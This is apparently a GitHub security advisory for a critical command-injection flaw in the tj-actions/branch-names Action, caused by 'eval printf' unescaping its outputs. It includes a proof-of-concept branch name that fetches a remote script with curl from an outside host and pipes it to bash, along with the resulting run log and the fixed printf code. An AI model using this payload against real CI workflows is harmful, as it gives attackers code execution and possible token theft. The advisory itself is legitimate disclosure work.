A critical vulnerability has been identified in the tj-actions/branch-names
GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.
The vulnerability stems from the unsafe use of the eval printf "%s"
pattern within the action's codebase. Although initial sanitization using printf "%q"
properly escapes untrusted input, subsequent unescaping via eval printf "%s"
reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"
This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)
.Example output:
Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner
This vulnerability enables arbitrary command execution in repositories consuming outputs from tj-actions/branch-names
. The severity of the impact depends on the permissions granted to the GITHUB_TOKEN
and the context of the triggering event. Potential consequences include:
To address this vulnerability, the unsafe eval printf "%s"
pattern must be replaced with safer alternatives. Specifically, direct printf
calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:
printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"
This approach ensures that all outputs remain properly escaped and safe for downstream consumption.
tj-actions/branch-names
workflow should update their workflows to latest major version v9.{ "github_reviewed": true, "nvd_published_at": "2025-07-26T04:16:10Z", "github_reviewed_at": "2025-07-25T19:28:22Z", "severity": "CRITICAL", "cwe_ids": [ "CWE-77" ] }